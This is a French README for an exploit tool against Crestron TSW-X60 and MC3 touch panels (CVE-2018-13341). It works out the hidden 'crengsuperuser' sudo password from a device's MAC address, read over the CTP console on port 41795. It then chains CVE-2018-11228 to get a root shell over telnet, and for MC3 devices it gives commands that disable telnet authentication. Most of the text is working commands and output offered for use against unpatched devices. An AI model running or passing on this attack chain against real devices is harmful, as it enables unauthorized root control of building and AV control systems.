
Outil pour exploiter CVE-2018-13341 et récupérer le mot de passe de compte caché sur les appareils Crestron
Basé sur la découverte de Ricky Lawshae sur les appareils Crestron TSW-X60 et MC3, cet outil vise à exploiter le CVE-2018-13341. En utilisant l'adresse MAC de l'appareil ciblé, vous pouvez récupérer le mot de passe du compte caché "crengsuperuser" qui possède des privilèges élevés et vous permet d'exécuter des commandes SUDO.
Sur les Crestron TSW-X60 < 2.001.0037.001 et MC3 < 1.502.0047.00, les mots de passe des comptes sudo spéciaux peuvent être calculés en utilisant des informations accessibles aux utilisateurs disposant de privilèges normaux. Les attaquants pourraient déchiffrer ces mots de passe, ce qui pourrait leur permettre d'exécuter des appels API cachés et de s'échapper de l'environnement sandbox de la console CTP avec des privilèges élevés.
Le protocole Crestron Toolbox (CTP) peut être contacté en accédant au port 41795 sur l'appareil TSW-XX60. Ensuite, vous pouvez utiliser la commande estat pour obtenir l'adresse MAC de l'appareil :
$ nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> estat
The EST command has been made obsolete. Please use IPCONFIG instead.
Ethernet Adapter [XYZ]:
Link Status ....... : OK
DHCP .............. : ON
MAC Address ....... : 00.XX.XX.XX.XX.XX
IP Address ........ : [removed]
Subnet Mask ....... : [removed]
IPV6 Address ...... : [removed]
Default Gateway ... : [removed]
DNS Servers ........ : [removed] | DHCP |
[removed] | DHCP |
Cet outil nécessite le module cryptography.
$ pip3 install cryptography
OU
$ pip3 install -r requirements.txt
usage: crestron_getsudopwd.py [-h] [-m MAC]
Tool to generate Crestron hidden accounts passwords
optional arguments:
-h, --help show this help message and exit
-m MAC, --mac MAC Target MAC address (w/o colons or dots)
# Exemple
$ python3 crestron_getsudopwd.py -m aabbccddeeff
[*] Device MAC address: AABBCCDDEEFF
[*] Password for 'crengsuperuser': RgXkA6Q415puxN0t
Le CVE-2018-11228 permet une exécution de code à distance (RCE) non authentifiée via le service Bash Shell dans le protocole Crestron Terminal (CTP). Après avoir obtenu le mot de passe du compte caché "crengsuperuser", vous pouvez obtenir un accès root sur la boîte Linux sous-jacente.
$ nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> TELNETPORT OFF
Telnet Port: Off
TSW-760> SUDO RESTARTSERVICE telnetd_debug
Username: crengsuperuser
Password: **************
Service telnetd_debug restarted
TSW-760>
Then, in a new shell, you can get root access on the box.
$ telnet w.x.y.z
bash-3.2# whoami
root
Remarque : Cet exemple concerne les appareils TSW. Le processus est légèrement différent pour les appareils MC3. Vous devez utiliser les commandes suivantes pour activer le shell :
SUDO -SN:crengsuperuser -SP:password REGEDIT \\comm\\telnetd addval UseAuthentication DWORD 0puis,SUDO -SN:crengsuperuser -SP:password LAUNCH \\windows\\services.exe /params start tel0:
Voici quelques ressources intéressantes liées à cette vulnérabilité :